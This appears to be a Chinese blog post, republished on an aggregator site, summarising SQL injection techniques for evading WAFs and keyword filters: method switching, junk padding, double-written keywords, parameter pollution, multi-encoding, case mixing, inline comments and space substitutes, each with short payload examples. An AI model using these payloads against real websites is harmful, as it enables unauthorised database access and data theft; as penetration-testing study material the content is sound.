概述
文章目录
- 1. 更改提交方式
- 2. 垃圾数据绕过
- 3. 双写绕过
- 4. HTTP参数绕过
- 5. 编码绕过
- 6. 大小写绕过
- 7. 等价函数
- 8. 其他
1. 更改提交方式
?id=1 and 1=2 – + 页面无变化
切换POST方法后,id=1 and 1=2 – + 页面内容消失说明语句成立,可以继续注入!
2. 垃圾数据绕过
and 1=1 – + 错误
And 1=1 – + 错误
And+1=1 错误
一直没数据显示,尝试垃圾数据填充绕过,原理就是相关参数长度超过WAF或者代码预设长度,绕过防御。
例如查看数据库名:
3. 双写绕过
原理是代码做了关键词过滤替换,输入select经过滤后变为空格或其他
如果输入selselectect,过滤过程selselect ect,最终带入select查询!
?id=-1 union select 1,2,database() 报错,可能存在WAF
id=-1 union seselectlect 1,2,database()
4. HTTP参数绕过
浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。
id=1 and 1=2 false
id=2&id=1’ – + true
5. 编码绕过
拦截select
多次编码sleect后即可绕过
id=2 select 在参数后输入sleect报错
id=2 union %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3
6. 大小写绕过
id=1 order by 3 flase
id=1 orDer by 3 true
7. 等价函数
id=1 and 1=1 flase
id=1 && 1=1 true
8. 其他
1)注释符号绕过在sql中常用的注释符号有:#、/xxx/、
2)大小写绕过当web正则过滤的时候对大小写不敏感的情况下使用,一般很少会有这种漏洞比如当过滤了select的时候我们可以采用SEleCT来查询。
3)内联注释绕过把要使用的查询语句放在/。。。/中,这样在一般的数据库是不会执行的,但是在mysql中内联注释中的语句会被执行。
4)双写关键字绕过
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。
5)特殊编码绕过
(1)十六进制
(2)ascii编码绕过
Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)tip:好像新版mysql不能用了
6)空格过滤绕过
两个空格代替一个空格,用Tab代替空格,%a0=空格: %09 %0a %0d %a0 /**/最基本的绕过方法,用注释替换空格:/* 注释 */
最后
以上就是慈祥帆布鞋为你收集整理的SQL注入常见绕过简单小结1. 更改提交方式2. 垃圾数据绕过3. 双写绕过4. HTTP参数绕过5. 编码绕过6. 大小写绕过7. 等价函数8. 其他的全部内容,希望文章能够帮你解决SQL注入常见绕过简单小结1. 更改提交方式2. 垃圾数据绕过3. 双写绕过4. HTTP参数绕过5. 编码绕过6. 大小写绕过7. 等价函数8. 其他所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复